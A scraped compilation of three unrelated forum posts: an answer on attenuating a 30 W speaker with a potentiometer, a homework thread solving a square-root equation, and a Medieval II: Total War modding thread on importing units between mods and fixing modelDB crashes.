a speaker. But the power levels you suggest are significant and would require somewhat expensive components if implememted with passive resistance. It will help the specification a lot if you can precisely specifiy what you need. What is the maximum RMS Wattage that you wish to deal with? What is the speaker impedance? Simply adding series resistance will work but the amplifier may not be happy to see increasing resistance. A potentiometer to ground with the top fed by the input and the speaker fed from the "wiper" would work better by results in extra signal loss at full volume. Assuming your values are correct (which seems somewhat unlikely) the following gives an example of what could be achieved. Assume speaker is a pure resistive load (it's not)(Close enough for this purpose). E&OE. 30 Watt RMS max, 6 ohm speaker, 16 ohm pot. Pot top to Vin, Pot bottom to ground. pot wiper to speaker, speaker bottom to ground. Pot at 100%. Pspeaker 30 W. Ppot = 6/16 x 30 =~11 Watt extra on top of 30W in speaker. Impedance seen by amplifer = 6//16 =~ 4.4 ohm Pot at 75%. Amplifier sees 8 ohms. Amp power = 6/8 x 30 ~=22 Watts. Powr in speaker = 7.5 Watts. Pot at 50%. Amplifier sees ~= 11.5 ohms Power amp = 6/11.5 x 30 =~ 15 Watt. Power speaker =~ 3 Watts etc Pot worst case dissipation ~= 12 Watt. Amplifier extra power =~ same 12 Watts. Outtput falls non linearly with pot rotation. Workable but not nice. -	{}
## bridgetolivares Group Title i dont think this is correct but solve for x, i will draw out my problem and work. 2 years ago 2 years ago 1. bridgetolivares Group Title \|dw:1335728748154:dw\| 2. nbouscal Group Title What is the original problem? $$-4\sqrt{x+9}=20$$? 3. bridgetolivares Group Title yes 4. nbouscal Group Title Okay. You can't add 4, because it's $$-4\sqrt{x+9}$$, not $$-4+\sqrt{x+9}$$. You can divide, though, which will give you $$\sqrt{x+9}=-5$$, then square both sides to get $$x+9=25$$, so $$x=16$$. 5. bridgetolivares Group Title ahh i see. thank you.	{}
# Thread: Creating a World - Importing units from another mod 1. ## Creating a World - Importing units from another mod Preparations • Make sure you have permissions to use the units if you intent to publish your mod • Have a formatted modelDB file for your mod (data\unit_models\battle_models.modelDB) • Determine how many free slots are left in your data\export_descr_units file (EDU). This is easiest via the search function of Notepad++. Open the EDU with Notepad++, press CTLR+F to get the search function and enter 'ownership' into the 'Find what:' slot, click 'Count'. The maximum number of entries is 500, if you have those detailed explanations at the top of your EDU then deduct one from the count. Finding your unit files and entries • If you can't remember the display name of your unit, simply use the custom battle of that mod by setting it to the faction where you know the unit is in the roster and using the 'Period\All' setting. Search for the unit in the roster and write down the correct spelling of the unit's name. • Open data\text\export_units.txt and search for that name - it will look like the example underneath. Note that there are three entries for that unit, all of them need to be transferred to your mod's export_units file, simply copy it to the bottom of your mod's file. You can now change the entry outside the curly brackets if yo wish to change the name and\or description of the unit. Code: {Dismounted_Archers}Dismounted Archers {Dismounted_Archers_descr}Despite preferring to fight on horseback...snip {Dismounted_Archers_descr_short}These light mounted...snip • If you intend to use the unit for a different faction then you will have to change the faction entry in the modeldb file, eg 7 mongols to 3 hre • Open the mod's EDU and use the coded name to find your unit's entry. Copy the whole entry to the bottom of your EDU. You have to replace\amend the original faction names if you plan to use the unit for a different faction. The entry in the soldier line and armour_ug_models line are your battle models (see next step). • Open the mod's modelDB file (use Notepad or Notepad++) and search for the battle model's entries, copy the whole entry to the end of your mod's modelDB file, preferably before the last entry. An entry starts at the line with the battle model's name and ends with the long line of numbers, example underneath. Do not forget to increase the model count number in the first line of the modelDB by the number of models you add. Code: 22 serialization::archive 3 0 0 0 0 886 0 0 Code: 18 dismounted_archers 1 4 56 unit_models/_Units/AS_Light/dismounted_archers_lod0.mesh 121 56 unit_models/_Units/AS_Light/dismounted_archers_lod1.mesh 900 56 unit_models/_Units/AS_Light/dismounted_archers_lod2.mesh 2500 56 unit_models/_Units/AS_Light/dismounted_archers_lod3.mesh 6400 1 7 mongols 67 unit_models/_Units/AS_Light/textures/AS_Light_Fancy_mongols.texture 66 unit_models/_Units/AS_Light/textures/AS_Light_Fancy_normal.texture 51 unit_sprites/mongols_Mongol_Foot_Archers_sprite.spr 1 7 mongols 59 unit_models/AttachmentSets/Final Asian_mongols_diff.texture 59 unit_models/AttachmentSets/Final Asian_mongols_norm.texture 0 1 4 None 16 MTW2_Fast_Bowman 20 MTW2_Non_Shield_Fast 1 19 MTW2_Bowman_Primary 1 18 MTW2_Sword_Primary 16 -0.090000004 0 0 -0.34999999 0.80000001 0.60000002 • Now trace all the listed files (MESH, TEXTURE and SPR) and transfer them to your mod into the correct folders. Create those folders if necessary. Note that the sprite file (SPR) is actually a set of three files - two TEXTURE files and one SPR file with nearly identical names. • The last files to transfer are the two unit pictures, you will find them here: ui\units\[faction name]\#coded name and ui\unit_info\[faction name]\coded name_info. Tip: if your unit hasn't got the mercenary_unit ability and all the pictures are the same you may wish to make your life easier (and reduce the size of your mod) by using the unified directory method for unit pictures. Simply add the two marked lines in the example underneath to your EDU entry and create those folders (unified) in the units and unit_info folders and place your pic in there. Code: ownership england, slave, france era 0 england, france era 1 england, france era 2 england, france ;unit_info 13, 0, 1 info_pic_dir unified card_pic_dir unified recruit_priority_offset -12 • All that is left are the recruitment entries in the export_descr_buildings (EDB) file which is an easy copy\paste operation. You will find those entries by searching for the type entry of your EDU entry, not the coded name entry (dictionary). A note about animations and mounts You may find that your battle model uses custom animations (see the the bottom part of the modelDB entry) and are left with two options: If your mod has no custom animations then simply copy the descr_skeleton file plus the mod's data\animation folder into your mod. Else replace the custom animation line with a suitable, already exiting line from your modelDB. If you transfer mounts and encounter a custom animation you will have to identify that entry in descr_mounts and copy it, if you do not have a descr_mounts file simply copy the whole file. 2. ## Re: Creating a World - Importing units from another mod Nice job buddy + rep Always useful to have something like this for people who havent done it before. Just a suggestion but might want to add in a small section about changing the name of units also? I remember asking you at least 4-5 times.... 3. ## Re: Creating a World - Importing units from another mod It should be obvious where to change that by looking at the files discussed, but I have added it. 4. ## Re: Creating a World - Importing units from another mod Thx man, i think so, but afraid to try! Now i'll try this to my small mod. i'll post results soon. And here it is: It's just for test, no authors rights violations ! Good tutorial man, thx! 5. ## Re: Creating a World - Importing units from another mod So, I'm making my own (first) mod... I'm trying to import a unit from the "Santa Invasion" mod (Permission pending though, if not granted I'll remove it, or just leave it for myself :p, nevertheless I just wanna import it for the time being, and improve my experience at doing so) called "Snowmen". I've managed to import a few units from another mod, and they work fine. So, I've tracked down what I believe is all the necessary info, and as a start, pasted the essential stuff (battle_models thingy) into my mod. The mod crashes at launch, meaning the problem is with the battle_models.modeldb file (as expected) checkmodeldbsyntax.py says there aren't any errors though... (yes, model number is right as well) the modeldb file thingy is: 7 snowmen 1 1 35 unit_models/santa/snowmen_lod0.mesh 6400 2 8 portugal 50 unit_models/santa/textures/attachments_red.texture 51 unit_models/santa/textures/attachments_norm.texture 0 5 slave 51 unit_models/santa/textures/attachments_blue.texture 51 unit_models/santa/textures/attachments_norm.texture 0 2 8 portugal 50 unit_models/santa/textures/attachments_red.texture 51 unit_models/santa/textures/attachments_norm.texture 0 5 slave 51 unit_models/santa/textures/attachments_blue.texture 51 unit_models/santa/textures/attachments_norm.texture 0 1 4 None 9 MTW2_Mace 0 2 17 MTW2_Mace_Primary 14 fs_test_shield 0 0 -1 0 0 0 0 0 0 the files '.mesh' and '.texture' are in the proper place... after an hour trying to solve this, it's getting too frustrating, so I wrote this here :p ...and I don't understand how the hell it works on "Santa Invasion" and not on my mod -.- edit: yeah, got to add some sprites once it's working 6. ## Re: Creating a World - Importing units from another mod 1. Which editor do you use to work on the modeldb file? 2. Did you leave empty lines in the modeldb? 3. Does every line have a trailing SPACE? The bottom part doesn't look right to me: Code: 14 fs_test_shield 0 0 -1 0 0 0 0 0 0 Compare to this one, it has got one more zero: Code: 6 fs_dog 0 0 0 -1 0 0 0 0 0 0 You could also use this as the final line: Code: 18 MTW2_Sword_Primary 16 -0.090000004 0 0 -0.34999999 0.80000001 0.60000002 7. ## Re: Creating a World - Importing units from another mod I was missing 2 trailing spaces, but no difference... (btw, what are the trailing spaces for???) I played around with the numbers in the last line by looking at other entries, but didn't solve it I also noticed I have a working unit with the last line: 18 MTW2_Sword_Primary 0 0 -1 0 0 0 0 0 0 so that might not be the issue... also, what do those values on the last line of each entry mean??? Sometimes it gets slightly annoying to work with entries were I have no idea what they mean ^_^ ...could the problem be related to the mesh/texture files and not actually related to the modeldb entry?? edit: I use a formatted modeldb, and manually edit it... and use the python thingy to check for basic errors 8. ## Re: Creating a World - Importing units from another mod Does the python checker give you a correct message like this?: Code: Unit count at top of file = 886 Number of processed unit models = 886 It is advisable that these two numbers should match. Total errors: 0 String count errors: 0 Faction count errors: 0 If it doesn't give any message at all then it can't read the formatting of the modeldb file. 9. ## Re: Creating a World - Importing units from another mod Yep, it does: This is the exact output of it: Code: Unit count at top of file = 707 Number of processed unit models = 707 It is advisable that these two numbers should match. Total errors: 0 String count errors: 0 Faction count errors: 0 Before my first post here, it wasn't, which I found really weird, since it did give proper output for the backups of previous "versions" of my mod. The "Snowmen" didn't work before either. So when they still didn't work after getting the python checker giving proper output, I came to this forum thread :p The reason it didn't give proper output was: 7 snowmen 1 1 35 unit_models/santa/snowmen_lod0.mesh 6400 ... 7 snowmen 1 1 35 unit_models/santa/snowmen_lod0.mesh 6400 ... hmmm, could it be somehow related to the path of the mesh/texture files? I've changed the path from unit_models/_Units/Santa... to simply unit_models/Santa... I guess it shouldn't though... ,also because it wasn't an issue for other imported units which are working... Btw, I remember trying to import another unit a while ago and getting this exact same problem, which I still have no idea how to solve... 10. ## Re: Creating a World - Importing units from another mod If the files are not in the changed path then the missing textures will result in a 'silver surfer' - a missing mesh will result in a crash. 11. ## Re: Creating a World - Importing units from another mod lol... I know how to put files in a path... and as expecting changing it into the commonly used "_Units/..." did no difference (yes, I changed locations of the files as well) ...still no idea why it ain't working? :s 12. ## Re: Creating a World - Importing units from another mod My years helping members here have taught me not to take anything for granted. Let me recap: all you did was adding the entry to the modeldb and put the files of the model in the path as in the modeldb entry? No EDU entry, no EDB entry? And the crash is right at the splash screen? Then it's most likely a formatting issue (eg UTF instead of ANSI) or the like. Can you attach the modeldb for me to have a look? 13. ## Re: Creating a World - Importing units from another mod I just checked, it is not due to a formatting issue (you'll see why)... Is there any incompatibility between modeldb entries? or some way they should be ordered or something? Well, I went back to playing around with the modeldb, because taidshauhdgkajfasehbfaknjbcvjbesh pfffft So I did the following: Lets say snowman is entry [S], and the entry before the snowman is entry [R], and all the other unimportant entries are [0] First, I removed all added EDU entries to make it simpler. now, the modeldb file tests: (I corrected the number of entries accordingly) (1)So, like this, it works: [0] [R] (2)But, like this, it does not: [0] [R] [S] (3)However, the problem is not due to [S], because this works: [0] [S] ...but WTF??? (1) works as well????? (4)similarly to (2), this doesn't work either: [0] [S] [R] Needless to say, I'm really confused right now Edit: attached the modeldb file here -> battle_models.7z. The entries there have been made without permission from the original mods, since my mod is so far just me playing around and messing up with modding. (with exception of the snowman, I got permission for that one (also asked for it)) 14. ## Re: Creating a World - Importing units from another mod Try removing the zeros at the end of the model texture lines (25173\6) and then use the entry in line 25166 instead of your line 25190 15. ## Re: Creating a World - Importing units from another mod the 0s at the textures made no difference (had tried that already), nor did changing the entry line for those numbers :s 16. ## Re: Creating a World - Importing units from another mod I'm really confused now, but somehow it's working. I've started over porting all units, and after some back and forth trouble, I got it working and the old modeldb with it... According to last copy paste, it seems there was a 0 too much... Not sure if it is really solved, but it'd be awesome if it is... gonna play around with it some more 17. ## Re: Creating a World - Importing units from another mod Score one for the old modder saying: "If you are really lost, start all over again." 18. ## Re: Creating a World - Importing units from another mod after first good one, second is bad. try to import halberd_militia_ug1 to english_huscarls and i get silver-surfers. how come? did everything like i did with Theigns ( changed to byzantine_heavy_infantry ), it's same like importing new unit, just using old unit name. don't get it... 16 english_huscarls 1 4 1 6 saxons 50 unit_sprites/poland_Halberd_Militia_ug1_sprite.spr 1 6 saxons 67 unit_models/AttachmentSets/Final European Light_poland_diff.texture 67 unit_models/AttachmentSets/Final European Light_poland_norm.texture 0 1 4 None 20 MTW2_Halberd_Primary 22 MTW2_Halberd_Secondary 1 17 MTW2_Pike_primary 1 17 MTW2_Pike_primary 16 -0.090000004 0 0 -0.34999999 0.80000001 0.60000002 19. ## Re: Creating a World - Importing units from another mod Do you have the required faction entry in the modelDB? It's unlikely you played the saxons. 20. ## Re: Creating a World - Importing units from another mod Originally Posted by Gigantus Do you have the required faction entry in the modelDB? It's unlikely you played the saxons. i'm using saxons for my faction and i did everything by the rule, copy-paste in EDU and in modeldb. i even copy original files and put them in my mod files, but nothing. worked with theigns, they are byz heavy inf now. Page 1 of 13 1234567891011 ... Last	{}

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